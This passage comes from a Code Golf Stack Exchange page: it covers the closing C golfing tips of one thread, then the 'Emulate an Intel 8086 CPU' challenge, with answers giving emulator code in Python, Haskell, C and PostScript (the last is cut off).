stdout](https://codegolf.stackexchange.com/questions/242/reverse-stdin-and-place-on-stdout/1336#1336)) ``` main(_){write(read(0,&_,1)&&main());} ``` Exercise:Use this technique to get a good score [here](http://www.spoj.pl/problems/NOP/). [Answer] Make use of return values to zero stuff. If you call some function, and that function returns zero under normal conditions, then you can place it in a location where zero is expected. Likewise if you know the function will return non-zero, with the addition of a bang. After all, you don't do proper error handling in a code golf in any case, right? Examples: ``` close(fd);foo=0; → foo=close(fd); /* saves two bytes */ putchar(c);bar=0; → bar=!putchar(c); /* saves one byte */ ``` [Answer] ## Abuse dark corners of array indexing [![enter image description here](https://i.stack.imgur.com/X4tzt.png)](https://i.stack.imgur.com/X4tzt.png) `i[array]` desugars into `*(i+array)`, and since `+` is commutative for `pointer+integer` too, it is equivalent to `*(array+i)` and therefore `array[i]`. It's not very common to see an array indexing expression `(whatever)[x]` where `whatever` requires wrapping in parens and `x` doesn't, but when you see one, you can swap the two positions and write `x[whatever]` to save two bytes. [A real golfing example.](https://codegolf.stackexchange.com/a/163258/78410) [Answer] 1. Use `*a` instead of `a[0]` for accessing the first element of an array. 2. Relational operators (`!=`, `>`, etc.) give `0` or `1`. Use this with arithmetic operators to give different offsets depending on whether the condition is true or false: `a[1+2*(i<3)]` would access `a[1]` if `i >= 3` and `a[3]` otherwise. [Answer] You may look into the IOCCC archives (international obfuscated C code contest). One notable trick is to #define macros whose expansion has unbalanced braces/parentheses, like ``` #define P printf( ``` [Answer] # `dprintf` for conditional printing As you may know, printing something by a condition can be done with `?:`, `&&` or `||`: ``` cond&&printf("%d\n",n); cond||printf("%d\n",n); cond?:printf("%d\n",n); ``` Another interesting idea is to use `dprintf`, which is the same as `printf` except that it takes an extra argument, specifying the output file descriptor. It will only output to STDOUT if said argument is equal to 1. This can be abused to potentially save a few bytes over the previously mentioned methods: ``` x-1||printf("%d\n",n); dprintf(x,"%d\n",n); ``` [Answer] ### Assign instead of return. This is not really standard C, but works with every compiler and CPU that I know of: ``` int sqr(int a){return a*a;} ``` has the same effect as: ``` int sqr(int a){a*=a;} ``` Because the first argument is stored into the same CPU register as the return value. *Note: As noted in one comment, this is undefined behaviour and not guaranteed to work for every operation. And any compiler optimization will just skip over it.* ### X-Macros Another useful feature: X-Macros can help you when you have a list of variables and you need to do some operation which involve all of them: <https://en.wikipedia.org/wiki/X_Macro> [Answer] Using `asprintf()` saves you the explicit allocating and also measuring the length of a string aka `char*`! This isn't maybe too useful for code golfing, but eases the everyday work with a char arrays. There are some more good advises in [21st Century C](http://shop.oreilly.com/product/0636920025108.do). Usage example: ``` #define _GNU_SOURCE #include <stdio.h> int main(int argc, char** argv) { char* foo; asprintf(&foo, "%s", argv[1]); printf("%s",foo); } ``` [Answer] `for(int i=0;i<n;i++){a(i);b(i);}` can be made shorter a few ways: `for(int i=0;i<n;){a(i);b(i++);}` -1 for moving the `++` to the last `i` in the loop `for(int i=0;i<n;b(i++))a(i);` -3 more for moving all but one statement into the top and out of the main loop, removing the braces [Answer] ## Go functional! If you can reduce your problem to simple functions with the same signature and defined as single expressions, then you can do better than `#define r return` and factor-out almost all of the boilerplate for defining a function. ``` #define D(f,...)f(x){return __VA_ARGS__;} D(f,x+2) D(g,4*x-4) D(main,g(4)) ``` Program result is its status value returned to the OS or controlling shell or IDE. Using `__VA_ARGS__` allows you to use the comma operator to introduce sequence points in these *function-expressions*. If this is not needed, the macro can be shorter. ``` #define D(f,b)f(x){return b;} ``` [Answer] 1. use `scanf("%*d ");` to read the dummy input. (in case that input is meaningless in further program) it is shorter than `scanf("%d",&t);` where you also need to declare the variable t. 2. storing characters in int array is much better than character array. example. `s[],t;main(c){for(scanf("%*d ");~(c=getchar());s[t++]=c)putchar(s[t]);}` [Answer] Print a character then carriage return, instead of: ``` printf("%c\n",c); ``` or ``` putchar(c);putchar('\n'); // or its ascii value, whatever! ``` simply, declare c as an int and: ``` puts(&c); ``` [Answer] ## Missing `include`s and return values As noted in the [very first answer](https://codegolf.stackexchange.com/a/2204/12012), some compilers (notably, GCC anc clang) let you get away with omitting `#include`s for standard library functions. While that *usually* goes well, it might cause problems in some cases, since the implicit declarations of standard library functions inside the source code will cause the compiler to treat return values as `int`s. For example, the code ``` char*p=getenv("PATH"); ``` wont work as expected on a 64-bit platform since `getenv` returns a 64-bit memory address which doesn't fit into an *int*. In this case, there are at least three ways to use *getenv* without errors. * Include the header file as follows. ``` #include<stdlib.h> char*p=getenv("PATH"); ``` This is *the right way*™, but not very golfy; it costs **19** bytes. * Declare *getenv* with the pointer as follows. ``` char*getenv(),*p=getenv("PATH"); ``` This costs **10** bytes. * Finally, unless your code wouldn't work on 32-bit platforms, compile your code on one of those or with the `-m32` flag (gcc). This costs **0** bytes. ]
[Question] [ **Locked**. This question and its answers are [locked](/help/locked-posts) because the question is off-topic but has historical significance. It is not currently accepting new answers or interactions. **Note:** A couple of answers have arrived. Consider upvoting newer answers too. * [Common Lisp from happy5214](https://codegolf.stackexchange.com/a/136505/3428) * [C from luser droog](https://codegolf.stackexchange.com/a/52902/3428) * [Java from NeatMonster](https://codegolf.stackexchange.com/a/48043/3428) * [Javascript from crempp](https://codegolf.stackexchange.com/a/26268/3428) * [C from Mike C](https://codegolf.stackexchange.com/a/12482/3428) * [C++ from Darius Goad](https://codegolf.stackexchange.com/a/10497/3428) * [Postscript from luser droog](https://codegolf.stackexchange.com/a/9065/3428) * [C++ from JoeFish](https://codegolf.stackexchange.com/a/9044/3428) * [Javascript from entirelysubjective](https://codegolf.stackexchange.com/a/8977/3428) * [C from RichTX](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#6514) * [C++ from Dave C](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#5538) * [Haskell from J B](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#4985) * [Python from j-a](https://codegolf.stackexchange.com/questions/4732/emulate-an-intel-8086-cpu#4980) --- The [8086](http://en.wikipedia.org/wiki/Intel_8086) is Intel's first x86 microprocessor. Your task is to write an emulator for it. Since this is relatively advanced, I want to limit it a litte: * Only the following opcodes need to be implemented: + mov, push, pop, xchg + add, adc, sub, sbb, cmp, and, or, xor + inc, dec + call, ret, jmp + jb, jz, jbe, js, jnb, jnz, jnbe, jns + stc, clc + hlt, nop * As a result of this, you only need to calculate the carry, zero and sign flags * Don't implement segments. Assume `cs = ds = ss = 0`. * No prefixes * No kinds of interrupts or port IO * No string functions * No two-byte opcodes (0F..) * No floating point arithmetic * (obviously) no 32-bit things, sse, mmx, ... whatever has not yet been invented in 1979 * You do not have to count cycles or do any timing Start with `ip = 0` and `sp = 100h`. --- **Input:** Your emulator should take a binary program in any kind of format you like as input (read from file, predefined array, ...) and load it into memory at address 0. **Output:** The video RAM starts at address 8000h, every byte is one (ASCII-)character. Emulate a 80x25 screen to console. Treat zero bytes like spaces. Example: ``` 08000 2E 2E 2E 2E 2E 2E 2E 2E 2E 00 00 00 00 00 00 00 ................ 08010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 08020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 08030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 08040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 08050 48 65 6C 6C 6F 2C 20 77 6F 72 6C 64 21 00 00 00 Hello,.world!... ``` Note: This is very similiar to the real video mode, which is usually at 0xB8000 and has another byte per character for colors. **Winning criteria:** * All of the mentioned instructions need to be implemented * I made an uncommented test program ([link](http://copy.sh/stuff/codegolf), [nasm source](http://copy.sh/stuff/codegolf.asm)) that should run properly. It outputs ``` ......... Hello, world! 0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ################################################################################ ## ## ## 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 ## ## ## ## 0 1 4 9 16 25 36 49 64 81 100 121 144 169 196 225 256 289 324 361 400 ## ## ## ## 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ################################################################################ ``` * I am not quite sure if this should be codegolf; it's kind of a hard task, so any submission will win many upvotes anyway. Please comment. Here are some links to help you on this task: * [instruction format](http://www.logix.cz/michal/doc/i386/chp17-02.htm), [more](http://wiki.osdev.org/X86_Instruction_Encoding) * [opcode table](http://ref.x86asm.net/geek32.html) * [opcode descriptions](http://faydoc.tripod.com/cpu/) * [16-bit mod R/M byte decoding](http://www.sandpile.org/x86/opc_rm16.htm) * [registers](http://www.eecg.toronto.edu/~amza/www.mindsec.com/files/x86regs.html), [flags register](http://en.wikipedia.org/wiki/FLAGS_register_(computing)) * [1979 Manual](http://matthieu.benoit.free.fr/cross/data_sheets/Intel_8086_users_manual.htm) This is my first entry to this platform. If there are any mistakes, please point them out; if I missed a detail, simply ask. [Answer] Feel free to fork and golf it: <https://github.com/julienaubert/py8086> ![Result](https://i.stack.imgur.com/WVQsb.png) I included an interactive debugger as well. ``` CF:0 ZF:0 SF:0 IP:0x0000 AX:0x0000 CX:0x0000 DX:0x0000 BX:0x0000 SP:0x0100 BP:0x0000 SI:0x0000 DI:0x0000 AL: 0x00 CL: 0x00 DL: 0x00 BL: 0x00 AH: 0x00 CH: 0x00 DH: 0x00 BH: 0x00 stack: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ... cmp SP, 0x100 [Enter]:step [R]:run [B 0xadr]:add break [M 0xadr]:see RAM [Q]:quit B 0x10 M 0x1 M 0x1: 0xfc 0x00 0x01 0x74 0x01 0xf4 0xbc 0x00 0x10 0xb0 0x2e 0xbb ... R CF:0 ZF:0 SF:1 IP:0x0010 AX:0x002e CX:0x0000 DX:0x0000 BX:0xffff SP:0x1000 BP:0x0000 SI:0x0000 DI:0x0000 AL: 0x2e CL: 0x00 DL: 0x00 BL: 0xff AH: 0x00 CH: 0x00 DH: 0x00 BH: 0x00 stack: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 ... cmp BX, 0xffff [Enter]:step [R]:run [B 0xadr]:add break [M 0xadr]:see RAM [Q]:quit ``` There are three files: emu8086.py (required) console.py (optional for display output), disasm.py (optional, to get a listing of the asm in the codegolf). To run with the display (note uses curses): ``` python emu8086.py ``` To run with interactive debugger: ``` python emu8086.py a b ``` To run with non-interactive "debugger": ``` python emu8086.py a ``` The program "[codegolf](http://copy.freeunix.net/stuff/codegolf)" should be in the same directory. [emu8086.py](http://pastebin.com/HuMwBU4R) [console.py](http://pastebin.com/2JYP4fnx) [disasm.py](http://pastebin.com/ZfJxhksB) [On github](https://github.com/julienaubert/py8086) [Answer] # Haskell, ~~256~~ ~~234~~ 196 lines I've had this work-in-progress one for some time, I intended to polish it a bit more before publishing, but now the fun's officially started, there's not much point in keeping it hidden anymore. I noticed while extracting it that it's exactly 256 lines long, so I suppose it is at a "remarkable" point of its existence. *What's in:* barely enough of the 8086 instruction set to run the example binary flawlessly. **Self-modifying code is supported.** (prefetch: zero bytes) Ironically, the first sufficient iterations of the code were longer and supported less of the opcode span. Refactoring ended up beneficial both to code length and to opcode coverage. *What's out:* obviously, segments, prefixes and multibyte opcodes, interrupts, I/O ports, string operations, and FP. I initially did follow the original `PUSH SP` behavior, but had to drop it after a few iterations. Carry flag results are probably very messed up in a few cases of `ADC`/`SBB`. Anyway, here's the code: ``` ------------------------------------------------------------ -- Imports -- They're the only lines I allow to go over 80 characters. -- For the simple reason the code would work just as well without the -- actual symbol list, but I like to keep it up to date to better -- grasp my dependency graph. import Control.Monad.Reader (ReaderT,runReaderT,ask,lift,forever,forM,when,void) import Control.Monad.ST (ST,runST) import Control.Monad.Trans.Maybe (MaybeT,runMaybeT) import Data.Array.ST (STUArray,readArray,writeArray,newArray,newListArray) import Data.Bits (FiniteBits,(.&.),(.|.),xor,shiftL,shiftR,testBit,finiteBitSize) import Data.Bool (bool) import qualified Data.ByteString as B (unpack,getContents) import Data.Char (chr,isPrint) -- for screen dump import Data.Int (Int8) import Data.STRef (STRef,newSTRef,readSTRef,writeSTRef,modifySTRef) import Data.Word (Word8,Word16) ------------------------------------------------------------ -- Bytes and Words -- Bytes are 8 bits. Words are 16 bits. Addressing is little-endian. -- Phantom types. Essentially (only?) used for the ALU byte = undefined :: Word8 word = undefined :: Word16 -- Byte to word conversion byteToWordSE = (fromIntegral :: Int8 -> Word16) . (fromIntegral :: Word8 -> Int8) -- Two-bytes to word conversion concatBytes :: Word8 -> Word8 -> Word16 concatBytes l h = fromIntegral l .|. (fromIntegral h `shiftL` 8) -- Word to two bytes conversion wordToByteL,wordToByteH :: Word16 -> Word8 wordToByteL = fromIntegral wordToByteH = fromIntegral . (`shiftR` 8) -- A Place is an lvalue byte or word. In absence of I/O ports, this -- means RAM or register file. This type synonym is not strictly -- needed, but without it it's unclear I could keep the alu function -- type signature under twice 80 characters, so why not keep this. type Place s = (STUArray s Word16 Word8,Word16) -- Read and write, byte or word, from RAM or register file class (Ord a,FiniteBits a,Num a) => Width a where readW :: Place s -> MonadCPU s a writeW :: Place s -> a -> MonadCPU s () instance Width Word8 where readW = liftST . uncurry readArray writeW = (liftST .) . uncurry writeArray instance Width Word16 where readW (p,a) = concatBytes <$> readW (p,a) <*> readW (p,a+1) writeW (p,a) val = do writeW (p,a) $ wordToByteL val writeW (p,a+1) $ wordToByteH val ------------------------------------------------------------ -- CPU object -- The actual CPU state. Yeah, I obviously don't have all flags in! :-D data CPU s = CPU { ram :: STUArray s Word16 Word8 , regs :: STUArray s Word16 Word8 , cf :: STRef s Bool , zf :: STRef s Bool , sf :: STRef s Bool } newCPU rawRam = do ramRef <- newListArray (0,0xFFFF) rawRam regFile <- newArray (0,17) 0 cf <- newSTRef False zf <- newSTRef False sf <- newSTRef False return $ CPU ramRef regFile cf zf sf -- Register addresses within the register file. Note odd placement -- for BX and related. Also note the 16-bit registers have a wider -- pitch. IP was shoehorned in recently, it doesn't really need an -- address here, but it made other code shorter, so that's that. -- In the 8-bit subfile, only regAl is used in the code (and it's 0, -- so consider that a line I could totally have skipped) [regAl,regAh,regCl,regCh,regDl,regDh,regBl,regBh] = [0..7] -- In the 16-bit file, they're almost if not all referenced. 8086 -- sure is clunky. [regAx,regCx,regDx,regBx,regSp,regBp,regSi,regDi,regIp] = [0,2..16] -- These functions look like I got part of the Lens intuition -- independently, come to look at it after the fact. Cool :-) readCpu ext = liftST . readSTRef . ext =<< ask writeCpu ext f = liftST . flip writeSTRef f . ext =<< ask -- It looks like the only operations IP can receive are relative moves -- (incrIP function below) and a single absolute set: RET. I deduce -- only short jumps, not even near, were in the spec. incrIP i = do old <- readReg regIp writeReg regIp (old + i) return old -- Read next instruction. Directly from RAM, so no pipeline prefetch. readInstr8 = incrIP 1 >>= readRam readInstr16 = concatBytes <$> readInstr8 <*> readInstr8 -- RAM/register file R/W specializers readReg reg = ask >>= \p -> readW (regs p,reg) readRam addr = ask >>= \p -> readW (ram p ,addr) writeReg reg val = ask >>= \p -> writeW (regs p,reg) val writeRam addr val = ask >>= \p -> writeW (ram p ,addr) val -- I'm not quite sure what those do anymore, or why they're separate. decodeReg8 n = fromIntegral $ (n `shiftL` 1) .|. (n `shiftR` 2) decodeReg16 n = fromIntegral $ n `shiftL` 1 readDecodedReg8 = readReg . decodeReg8 readDecodedReg16 = readReg . decodeReg16 -- The monad type synonym make type signatures easier :-( type MonadCPU s = MaybeT (ReaderT (CPU s) (ST s)) -- Specialized liftST, because the one from Hackage loses the -- parameter, and I need it to be able to qualify Place. liftST :: ST s a -> MonadCPU s a liftST = lift . lift ------------------------------------------------------------ -- Instructions -- This is arguably the core secret of the 8086 architecture. -- See statement links for actual explanations. readModRM = do modRM <- readInstr8 let mod = modRM `shiftR` 6 opReg = (modRM .&. 0x38) `shiftR` 3 rm = modRM .&. 0x07 cpu <- ask operand <- case mod of 0 -> do addr <- case rm of 1 -> (+) <$> readReg regBx <*> readReg regDi 2 -> (+) <$> readReg regBp <*> readReg regSi 6 -> readInstr16 7 -> readReg regBx return (ram cpu,addr) 2 -> do addr <- case rm of 5 -> (+) <$> readReg regDi <*> readInstr16 7 -> (+) <$> readReg regBx <*> readInstr16 return (ram cpu,addr) 3 -> return (regs cpu,2*fromIntegral rm) return (operand,opReg,opReg) -- Stack operations. PUSH by value (does NOT reproduce PUSH SP behavior) push16 val = do sp <- subtract 2 <$> readReg regSp writeReg regSp sp writeRam sp (val :: Word16) pop16 = do sp <- readReg regSp val <- readRam sp writeReg regSp (sp+2) return (val :: Word16) -- So, yeah, JMP seems to be relative (short) only. Well, if that's enough… jump cond = when cond . void . incrIP . byteToWordSE =<< readInstr8 -- The ALU. The most complicated type signature in this file. An -- initial argument as a phantom type I tried to get rid of and -- failed. alu :: Width w => w -> MonadCPU s w -> MonadCPU s w -> Place s -> (w -> w -> MonadCPU s (Bool,Maybe Bool,w)) -> MonadCPU s () alu _ a b r op = do (rw,c,v) <- a >>= (b >>=) . op when rw $ writeW r v maybe (return ()) (writeCpu cf) c writeCpu zf (v == 0) writeCpu sf (testBit v (finiteBitSize v - 1)) decodeALU 0 = \a b -> return (True, Just (a >= negate b), a + b) decodeALU 1 = \a b -> return (True, Just False, a .|. b) decodeALU 2 = \a b -> bool 0 1 <$> readCpu cf >>= \c -> return (True, Just (a >= negate (b + c)), a + b + c) decodeALU 3 = \a b -> bool 0 1 <$> readCpu cf >>= \c -> return (True, Just (a < b + c), a - b - c) decodeALU 4 = \a b -> return (True, Just False, a .&. b) decodeALU 5 = \a b -> return (True, Just (a <= b), a - b) decodeALU 6 = \a b -> return (True, Just False, a `xor` b) decodeALU 7 = \a b -> return (False,Just (a <= b), a - b) opIncDec :: Width w => w -> w -> MonadCPU s (Bool,Maybe Bool,w) opIncDec = \a b -> return (True, Nothing, a + b) -- Main iteration: process one instuction -- That's the rest of the meat, but that part's expected. processInstr = do opcode <- readInstr8 regs <- regs <$> ask let zReg = (regs,decodeReg16 (opcode .&. 0x07)) if opcode < 0x40 then -- no segment or BCD let aluOp = (opcode .&. 0x38) `shiftR` 3 in case opcode .&. 0x07 of 0 -> do (operand,reg,_) <- readModRM alu byte (readW operand) (readDecodedReg8 reg) operand (decodeALU aluOp) 1 -> do (operand,reg,_) <- readModRM alu word (readW operand) (readDecodedReg16 reg) operand (decodeALU aluOp) 4 -> alu byte (readReg regAl) readInstr8 (regs,regAl) (decodeALU aluOp) else case opcode .&. 0xF8 of -- 16-bit (mostly) reg ops 0x40 -> alu word (readW zReg) (return 1 ) zReg opIncDec -- 16b INC 0x48 -> alu word (readW zReg) (return (-1)) zReg opIncDec -- 16b DEC 0x50 -> readW zReg >>= push16 -- 16b PUSH reg 0x58 -> pop16 >>= writeW zReg -- 16b POP reg 0x90 -> do v1 <- readW zReg -- 16b XCHG (or NOP) v2 <- readReg regAx writeW zReg (v2 :: Word16) writeReg regAx (v1 :: Word16) 0xB0 -> readInstr8 >>= writeW zReg -- (BUG!) -- 8b MOV reg,imm 0xB8 -> readInstr16 >>= writeW zReg -- 16b MOV reg,imm _ -> case bool opcode 0x82 (opcode == 0x80) of 0x72 -> jump =<< readCpu cf -- JB/JNAE/JC 0x74 -> jump =<< readCpu zf -- JE/JZ 0x75 -> jump . not =<< readCpu zf -- JNE/JNZ 0x76 -> jump =<< (||) <$> readCpu cf <*> readCpu zf -- JBE 0x77 -> jump . not =<< (||) <$> readCpu cf <*> readCpu zf -- JA 0x79 -> jump . not =<< readCpu sf -- JNS 0x81 -> do -- 16b arith to imm (operand,_,op) <- readModRM alu word (readW operand) readInstr16 operand (decodeALU op) 0x82 -> do -- 8b arith to imm (operand,_,op) <- readModRM alu byte (readW operand) readInstr8 operand (decodeALU op) 0x83 -> do -- 16b arith to 8s imm (operand,_,op) <- readModRM alu word (readW operand) (byteToWordSE <$> readInstr8) operand (decodeALU op) 0x86 -> do -- 8b XCHG reg,RM (operand,reg,_) <- readModRM v1 <- readDecodedReg8 reg v2 <- readW operand writeReg (decodeReg8 reg) (v2 :: Word8) writeW operand v1 0x88 -> do -- 8b MOV RM,reg (operand,reg,_) <- readModRM readDecodedReg8 reg >>= writeW operand 0x89 -> do -- 16b MOV RM,reg (operand,reg,_) <- readModRM readDecodedReg16 reg >>= writeW operand 0x8A -> do -- 8b MOV reg,RM (operand,reg,_) <- readModRM val <- readW operand writeReg (decodeReg8 reg) (val :: Word8) 0x8B -> do -- 16b MOV reg,RM (operand,reg,_) <- readModRM val <- readW operand writeReg (decodeReg16 reg) (val :: Word16) 0xC3 -> pop16 >>= writeReg regIp -- RET 0xC7 -> do (operand,_,_) <- readModRM -- 16b MOV RM,imm readInstr16 >>= writeW operand 0xE8 -> readInstr16 >>= incrIP >>= push16 -- CALL relative 0xEB -> jump True -- JMP short 0xF4 -> fail "Halting and Catching Fire" -- HLT 0xF9 -> writeCpu cf True -- STC 0xFE -> do -- 8-bit INC/DEC RM (operand,_,op) <- readModRM alu byte (readW operand) (return $ 1-2*op) operand (\a b -> return (True,Nothing,a+b)) -- kinda duplicate :( ------------------------------------------------------------ main = do rawRam <- (++ repeat 0) . B.unpack <$> B.getContents putStr $ unlines $ runST $ do cpu <- newCPU rawRam flip runReaderT cpu $ runMaybeT $ do writeReg regSp (0x100 :: Word16) forever processInstr -- Next three lines is the screen dump extraction. forM [0..25] $ \i -> forM [0..79] $ \j -> do c <- chr . fromIntegral <$> readArray (ram cpu) (0x8000 + 80*i + j) return $ bool ' ' c (isPrint c) ``` The output for the provided sample binary matches the specification perfectly. Try it out using an invocation such as: ``` runhaskell 8086.hs <8086.bin ``` Most non-implemented operations will simply result in a pattern matching failure. I still intend to factor quite a bit more, and implement actual live output with curses. Update 1: got it down to 234 lines. Better organized the code by functionality, re-aligned what could be, tried to stick to 80 columns. And refactored the ALU multiple times. Update 2: it's been five years, I figured an update to get it to compile flawlessly on the latest GHC could be in order. Along the way: * got rid of liftM, liftM2 and such. I love having `<$>` and `<*>` in the Prelude. * Data.Bool and Data.ByteString, saves a bit and cleans up. * IP register used to be special (unaddressable), now it's in the register file. It doesn't make so much 8086 sense, but hey I'm a golfer. * It's all pure ST-based code now. From a golfing point of view, this sucks, because it made a lot of type signatures necessary. On the other hand, I had a row with my conscience and I lost, so now you get the clean, long code. * So now this is git-tracked. * Added more serious comments. As a consequence, the way I count lines has changed: I'm dropping empty and pure-comment lines. I hereby guarantee all lines but the imports are less than 80 characters long. I'm not dropping type signatures since the one I've left are actually needed to get it to compile properly (thank you very much ST cleanliness). As the code comments say, 5 lines (the Data.Char import, the 8-bit register mappings and the screen dump) are out of spec, so you're very welcome to discount them if you feel so inclined :-) [Answer] # C - 7143 lines (CPU itself 3162 lines) EDIT: The Windows build now has drop-down menus to change out virtual disks. I've written a full 80186/V20 PC emulator (with CGA/MCGA/VGA, sound blaster, adlib, mouse, etc), it's not a trivial thing to emulate an 8086 by any means. It took many months to get fully accurate. Here's the CPU module only out of my emulator. <http://sourceforge.net/p/fake86/code/ci/master/tree/src/fake86/cpu.c> I'll be the first to admit I use wayyy too many global variables in this emulator. I started writing this when I was still pretty new to C, and it shows. I need to clean some of it up one of these days. Most of the other source files in it don't look so ugly. You can see all of the code (and some screenshots, one is below) through here: <http://sourceforge.net/p/fake86> I would be very very happy to help anybody else out who is wanting to write their own, because it's a lot of fun, and you learn a LOT about the CPU! Disclaimer: I didn't add the V20's 8080 emulation since its almost never been used in a PC program. Seems like a lot of work for no gain. ![Street Fighter 2!](https://i.stack.imgur.com/uTwXZ.jpg) [Answer] # Postscript (~~130~~ ~~200~~ ~~367~~ ~~517~~ ~~531~~ ~~*222*~~ 246 lines) ~~Still a work-in-progress, but~~ I wanted to show some code in an effort to encourage others to *show some code*. The register set is represented as one string, so the various byte- and word- sized registers can naturally overlap by referring to substrings. Substrings are used as pointers throughout, so that a register and a memory location (substring of the memory string) can be treated uniformly in the operator functions. Then there are a handful of words to get and store data (byte or word) from a "pointer", from memory, from mem[(IP)] (incrementing IP). Then there are a few functions to fetch the MOD-REG-R/M byte and set the REG and R/M and MOD variables, and decode them using tables. Then the operator functions, keyed to the opcode byte. So the execution loop is simply `fetchb load exec`. ~~I've only got a handful of opcodes implemented, but g~~Getting the operand decoding felt like such a milestone that I wanted to share it. *edit:* Added words to sign-extend negative numbers. More opcodes. Bugfix in the register assignments. Comments. Still working on flags and filling-out the operators. Output presents some choices: output text to stdout on termination, continuously output using vt100 codes, output to the image window using CP437 font. *edit:* Finished writing, begun debugging. It gets the first four dots of output! Then the carry goes wrong. Sleepy. *edit:* I think I've got the Carry Flag sorted. Some of the story happened on [comp.lang.postscript](https://groups.google.com/d/topic/comp.lang.postscript/6-wfOlxeugk/discussion). I've added some debugging apparatus, and the output goes to the graphics window (using my previously-written [Code-Page 437 Type-3 font](http://code.google.com/p/xpost/downloads/detail?name=cp437.ps)), so the text output can be full of traces and dumps. It writes "Hello World!" and then there's that suspicious caret. Then a whole lotta nothin'. :( We'll get there. Thanks for all the encouragement! *edit:* Runs the test to completion. The final few bugs were: XCHG doing 2{read store}repeat which of course copies rather than exchanges, AND not setting flags, (FE) INC trying to get a word from a byte pointer. *edit:* Total re-write from scratch using the concise table from the manual (*turned a new page!*). I'm starting to think that factoring-out the *store* from the opcodes was a bad idea, but it helped keep the optab pretty. No screenshot this time. I added an instruction counter and a mod-trigger to dump the video memory, so it interleaves easily with the debug info. *edit:* Runs the test program, again! The final few bugs for the shorter re-write were neglecting to sign-extend the immediate byte in opcodes 83 (the "Immediate" group) and EB (short JMP). 24-line increase covers additional debugging routines needed to track down those final bugs. ``` %! %a8086.ps Draught2:BREVITY [/NULL<0000>/nul 0 /mem 16#ffff string %16-bit memory /CF 0 /OF 0 /AF 0 /ZF 0 /SF 0 /regs 20 string >>begin %register byte storage 0{AL AH CL CH DL DH BL BH}{regs 2 index 1 getinterval def 1 add}forall pop 0{AX CX DX BX SP BP SI DI IP FL}{regs 2 index 2 getinterval def 2 add}forall pop %getting and fetching [/*b{0 get} %get byte from pointer /*w{dup *b exch 1 get bbw} %get word from pointer /*{{*b *w}W get exec} %get data(W) from pointer /bbw{8 bitshift add} %lo-byte hi-byte -> word /shiftmask{2 copy neg bitshift 3 1 roll 1 exch bitshift 1 sub and} /fetchb{IP *w mem exch get bytedump IP dup *w 1 add storew} % byte(IP++) /fetchw{fetchb fetchb bbw} % word(IP),IP+=2 %storing and accessing /storeb{16#ff and 0 exch put} % ptr val8 -> - /storew{2 copy storeb -8 bitshift 16#ff and 1 exch put} % ptr val16 -> - /stor{{storeb storew}W get exec} % ptr val(W) -> - /memptr{16#ffff and mem exch {1 2}W get getinterval} % addr -> ptr(W) %decoding the mod-reg-reg/mem byte /mrm{fetchb 3 shiftmask /RM exch def 3 shiftmask /REG exch def /MOD exch def} /REGTAB[[AL CL DL BL AH CH DH BH][AX CX DX BX SP BP SI DI]] /decreg{REGTAB W get REG get} % REGTAB[W][REG] %2 indexes, with immed byte, with immed word /2*w{exch *w exch *w add}/fba{fetchb add}/fwa{fetchw add} /RMTAB[[{BX SI 2*w}{BX DI 2*w}{BP SI 2*w}{BP DI 2*w} {SI *w}{DI *w}{fetchw}{BX *w}] [{BX SI 2*w fba}{BX DI 2*w fba}{BP SI 2*w fba}{BP DI 2*w fba} {SI *w fba}{DI *w fba}{BP *w fba}{BX *w fba}] [{BX SI 2*w fwa}{BX DI 2*w fwa}{BP SI 2*w fwa}{BP DI 2*w fwa} {SI *w fwa}{DI *w fwa}{BP *w fwa}{BX *w fwa}]] /decrm{MOD 3 eq{REGTAB W get RM get} %MOD=3:register mode {RMTAB MOD get RM get exec memptr}ifelse} % RMTAB[MOD][RM] -> addr -> ptr %setting and storing flags /flagw{OF 11 bitshift SF 7 bitshift or ZF 6 bitshift or AF 4 bitshift CF or} /wflag{dup 1 and /CF exch def dup -4 bitshift 1 and /AF exch def dup -6 bitshift 1 and /ZF exch def dup -7 bitshift 1 and /SF exch def dup -11 bitshift 1 and /OF exch def} /nz1{0 ne{1}{0}ifelse} /logflags{/CF 0 def /OF 0 def /AF 0 def %clear mathflags dup {16#80 16#8000}W get and nz1 /SF exch def dup {16#ff 16#ffff}W get and 0 eq{1}{0}ifelse /ZF exch def} /mathflags{{z y x}{exch def}forall /CF z {16#ff00 16#ffff0000}W get and nz1 def /OF z x xor z y xor and {16#80 16#8000}W get and nz1 def /AF x y xor z xor 16#10 and nz1 def z} %leave the result on stack %opcodes (each followed by 'stor') %% { OPTAB fetchb get exec stor } loop /ADD{2 copy add logflags mathflags} /OR{or logflags} /ADC{CF add ADD} /SBB{D 1 xor {exch}repeat CF add 2 copy sub logflags mathflags} /AND{and logflags} /SUB{D 1 xor {exch}repeat 2 copy sub logflags mathflags} /XOR{xor logflags} /CMP{3 2 roll pop NULL 3 1 roll SUB} %dummy stor target /INC{t CF exch dup * 1 ADD 3 2 roll /CF exch def} /DEC{t CF exch dup * 1 SUB 3 2 roll /CF exch def} /PUSH{SP dup *w 2 sub storew *w SP *w memptr exch} /POP{SP *w memptr *w SP dup *w 2 add storew} /jrel{w {CBW IP *w add IP exch}{NULL exch}ifelse} /JO{fetchb OF 1 eq jrel } /JNO{fetchb OF 0 eq jrel } /JB{fetchb CF 1 eq jrel } /JNB{fetchb CF 0 eq jrel } /JZ{fetchb ZF 1 eq jrel } /JNZ{fetchb ZF 0 eq jrel } /JBE{fetchb CF ZF or 1 eq jrel } /JNBE{fetchb CF ZF or 0 eq jrel } /JS{fetchb SF 1 eq jrel } /JNS{fetchb SF 0 eq jrel } /JL{fetchb SF OF xor 1 eq jrel } /JNL{fetchb SF OF xor 0 